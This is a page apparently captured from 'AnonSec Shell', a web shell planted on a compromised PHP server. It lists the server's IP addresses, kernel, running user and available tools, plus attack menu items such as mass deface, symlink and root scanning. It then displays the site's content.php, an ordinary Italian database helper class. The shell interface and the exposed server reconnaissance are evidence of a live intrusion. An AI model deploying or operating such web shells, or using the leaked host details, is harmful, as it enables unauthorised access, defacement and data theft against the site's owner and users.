AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 52.223.31.75 / Your IP : 172.31.44.28 [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/sapere/app/helpers/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/sapere/app/helpers/content.php

<?php
class Content extends DBLink
{

	public function __construct()
	{
		parent::__construct(FILE_INI_MDADB);
    $this->SafeFetch("SET CHARACTER SET utf8 ");

	}  
  
  public function getRegioni(){
    $query = "SELECT * FROM regione order by name";
    return $this->SafeFetch($query);

  }

  public function getProvince(){
    $query = "SELECT * FROM province order by nome_provincia ASC";
    // WHERE id_regione = ". $jid_regione . " order by nome_provincia ASC";
    return $this->SafeFetch($query);
  }

  public function getNazioni(){
      $query = "SELECT * FROM nazioni order by nome ASC";
      // WHERE id_regione = ". $jid_regione . " order by nome_provincia ASC";
      return $this->SafeFetch($query);

  }

  public function getComuni($id_provincia){
      if($id_provincia >0){
        $jid_provincia = $this->QuoteInt($id_provincia);
        $query = "SELECT * FROM comuni WHERE id_provincia = ". $jid_provincia . " order by nome_comune ASC";
      }else{
        $query = "SELECT * FROM comuni order by nome_comune ASC";
      }
      return $this->SafeFetch($query);
  }

  //WS
  public function setConnectionId($_token){
    $token = $this->QuoteText($_token);
    $id_user = $this->QuoteInt($_SESSION["userdata"]["id_user"]);

    $q = "UPDATE user SET connection_ws = $token WHERE id_user = $id_user";
    return $this->SafeExec($q);
  }
  
  // public function getConnectionId($token){
  //   $id_user = $this->QuoteInt($_SESSION["userdata"]["id_user"]);
  //   $q = "SELECT connection_ws FROM user WHERE id_user = id_user = $id_user AN";
  //   return $this->SafeFetchOne($q);
  // }  

  public function setClientConnesso($token, $connectionId){
    $user = $this->validateToken($token);
    if($user){
      //setto connectionId per ricevere i messaggi
      $connectionId = $this->QuoteText($connectionId);
      $id_user = $this->QuoteInt($user["id_user"]);
      $q = "UPDATE user SET connection_id = $connectionId WHERE id_user = $id_user";
      if(!$this->SafeExec($q)){
        return false;
      }
      $message ="Utente connesso alla piattafforma";
      if($this->logUser($user["id_user"], $message, "login")){
        return true;
      }
    }
    return false; 
  }

  public function setClientDisconnesso($connectionId){
    $user = $this->validateConnectionId($connectionId);
    if($user){
      $message ="Utente disconnesso dalla piattafforma";
      if($this->logUser($user["id_user"], $message, "logout")){
        return true;
      }
    }
    return false; 
  }

  public function setclientMessage($connectionId, $message, $tipo){
    $user = $this->validateConnectionId($connectionId);
    if($user){
      $id_user = $this->QuoteInt($user["id_user"]);
      if($this->logUser($id_user, $message, $tipo)){
        return true;
      }
    }
    return false; 
  }

  private function logUser($_id_user, $_message, $_tipo){
    $id_user = $this->QuoteInt($_id_user);
    $client_ip = $this->QuoteText($_SERVER['REMOTE_ADDR']);
    $client_user_agent = $this->QuoteText($_SERVER['HTTP_USER_AGENT']);
    $message = $this->QuoteText($_message);
    $tipo = $this->QuoteText($_tipo);
    return $this->SafeInsert("INSERT INTO user_log (id_user, ip, user_agent, message, type) VALUES($id_user, $client_ip, $client_user_agent, $message, $tipo);");
  }

  private function validateToken($_token){
    $token = $this->QuoteText($_token);
    $query = "SELECT * FROM user WHERE connection_ws = $token";
    return $this->SafeFetchOne($query);
  }

  private function validateConnectionId($_connectionId){
    $connectionId = $this->QuoteText($_connectionId);
    $query = "SELECT * FROM user WHERE connection_id = $connectionId";
    return $this->SafeFetchOne($query);
  }


  //FINE WS
}

?>

Anon7 - 2022
AnonSec Team